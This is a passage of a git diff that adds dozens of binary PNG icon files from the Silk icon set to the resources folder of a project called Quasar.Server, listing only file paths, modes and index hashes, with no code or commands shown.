a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png new file mode 100755 index 0000000..d28dc6b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_error.png new file mode 100755 index 0000000..0d0dcfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_go.png new file mode 100755 index 0000000..5a2ad90 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png new file mode 100755 index 0000000..c34b982 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png new file mode 100755 index 0000000..b885fcc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_square_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png new file mode 100755 index 0000000..3a6f369 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shape_ungroup.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png new file mode 100755 index 0000000..3cb4e25 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_add.png new file mode 100755 index 0000000..e20a1b4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png new file mode 100755 index 0000000..22823a7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_go.png new file mode 100755 index 0000000..e9bd852 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/shield_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap.png new file mode 100755 index 0000000..ca779f3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap_color.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap_color.png new file mode 100755 index 0000000..9db1378 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sitemap_color.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound.png new file mode 100755 index 0000000..6056d23 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png new file mode 100755 index 0000000..965c503 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_delete.png new file mode 100755 index 0000000..ab9577a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png new file mode 100755 index 0000000..4d91863 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_low.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_mute.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_mute.png new file mode 100755 index 0000000..b652d2a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_mute.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png new file mode 100755 index 0000000..b497ebd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sound_none.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png new file mode 100755 index 0000000..ebc632d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/spellcheck.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_8ball.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_8ball.png new file mode 100755 index 0000000..3daf671 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_8ball.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png new file mode 100755 index 0000000..f7a000b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_basketball.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png new file mode 100755 index 0000000..199f0f7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_football.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_golf.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_golf.png new file mode 100755 index 0000000..6c4a266 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_golf.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png new file mode 100755 index 0000000..f5e0f0c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_raquet.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png new file mode 100755 index 0000000..917287f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_shuttlecock.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_soccer.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_soccer.png new file mode 100755 index 0000000..62358e0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_soccer.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_tennis.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_tennis.png new file mode 100755 index 0000000..e88a6ef Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sport_tennis.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png new file mode 100755 index 0000000..b88c857 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/star.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_away.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_away.png new file mode 100755 index 0000000..70bcbcc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_away.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png new file mode 100755 index 0000000..987c806 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_busy.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png new file mode 100755 index 0000000..59055a8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_offline.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png new file mode 100755 index 0000000..947bd4b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/status_online.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png new file mode 100755 index 0000000..0cfd585 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/stop.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style.png new file mode 100755 index 0000000..81e41de Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png new file mode 100755 index 0000000..e0369c6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_delete.png new file mode 100755 index 0000000..640f187 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png new file mode 100755 index 0000000..25bb5b6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png new file mode 100755 index 0000000..25d6181 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/style_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png new file mode 100755 index 0000000..fd7b32e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/sum.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab.png new file mode 100755 index 0000000..3d8207f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_add.png new file mode 100755 index 0000000..d3b9936 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_delete.png new file mode 100755 index 0000000..100da2f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png new file mode 100755 index 0000000..4c725bc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png new file mode 100755 index 0000000..844ce04 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tab_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table.png new file mode 100755 index 0000000..abcd936 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_add.png new file mode 100755 index 0000000..a7a6672 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png new file mode 100755 index 0000000..b85916d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_edit.png new file mode 100755 index 0000000..bfcb024 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_error.png new file mode 100755 index 0000000..589e92b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png new file mode 100755 index 0000000..cfc2702 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png new file mode 100755 index 0000000..0528dfa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_key.png new file mode 100755 index 0000000..34e23e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_lightning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_lightning.png new file mode 100755 index 0000000..612612b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_lightning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_link.png new file mode 100755 index 0000000..decac8a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png new file mode 100755 index 0000000..d76448e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_multiple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_refresh.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_refresh.png new file mode 100755 index 0000000..ab92010 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_refresh.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_relationship.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_relationship.png new file mode 100755 index 0000000..71994c8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_relationship.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_delete.png new file mode 100755 index 0000000..e7fbf2b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_insert.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_insert.png new file mode 100755 index 0000000..ff5925e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_row_insert.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png new file mode 100755 index 0000000..25b74d1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_sort.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_sort.png new file mode 100755 index 0000000..ed6785a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/table_sort.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png new file mode 100755 index 0000000..6a16e9d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png new file mode 100755 index 0000000..9757fc6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_add.png new file mode 100755 index 0000000..f135248 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_delete.png new file mode 100755 index 0000000..9fbae67 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png new file mode 100755 index 0000000..2a9f626 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_blue_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_green.png new file mode 100755 index 0000000..83ec984 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png new file mode 100755 index 0000000..454a59f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_pink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_pink.png new file mode 100755 index 0000000..76e2296 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_pink.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png new file mode 100755 index 0000000..ebaf0e8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_purple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png new file mode 100755 index 0000000..6ebb37d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_yellow.png new file mode 100755 index 0000000..83d1292 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/tag_yellow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone.png new file mode 100755 index 0000000..cecc436 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_add.png new file mode 100755 index 0000000..5591cfc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_delete.png new file mode 100755 index 0000000..0013268 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_edit.png new file mode 100755 index 0000000..bcf6d7e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png new file mode 100755 index 0000000..d3ec3a1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_go.png new file mode 100755 index 0000000..395c8fb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png new file mode 100755 index 0000000..cef5dec Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_link.png new file mode 100755 index 0000000..ef1ee5d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/telephone_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png new file mode 100755 index 0000000..1738a4f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_add.png new file mode 100755 index 0000000..2baaad9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png new file mode 100755 index 0000000..b9a5860 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/television_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png new file mode 100755 index 0000000..57beb38 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_center.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_justify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_justify.png new file mode 100755 index 0000000..2fbdd69 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_justify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png new file mode 100755 index 0000000..6c8fcc1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_left.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png new file mode 100755 index 0000000..a150257 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_align_right.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_allcaps.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_allcaps.png new file mode 100755 index 0000000..280fd44 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_allcaps.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_bold.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_bold.png new file mode 100755 index 0000000..51ddb88 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_bold.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_columns.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_columns.png new file mode 100755 index 0000000..97b2e03 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_columns.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png new file mode 100755 index 0000000..dd65786 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_dropcaps.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png new file mode 100755 index 0000000..9c122e9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_1.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png new file mode 100755 index 0000000..ab10e73 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_2.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png new file mode 100755 index 0000000..7c7ca64 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_3.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_4.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_4.png new file mode 100755 index 0000000..4e929ea Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_4.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png new file mode 100755 index 0000000..30cabeb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_5.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_6.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_6.png new file mode 100755 index 0000000..3a4884c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_heading_6.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_horizontalrule.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_horizontalrule.png new file mode 100755 index 0000000..ec2b2e2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_horizontalrule.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png new file mode 100755 index 0000000..9364532 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png new file mode 100755 index 0000000..1651b07 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_indent_remove.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_italic.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_italic.png new file mode 100755 index 0000000..8482ac8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_italic.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png new file mode 100755 index 0000000..377def6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_kerning.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png new file mode 100755 index 0000000..5075ec6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letter_omega.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png new file mode 100755 index 0000000..41390f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_linespacing.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_linespacing.png new file mode 100755 index 0000000..572e926 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_linespacing.png differ diff --git 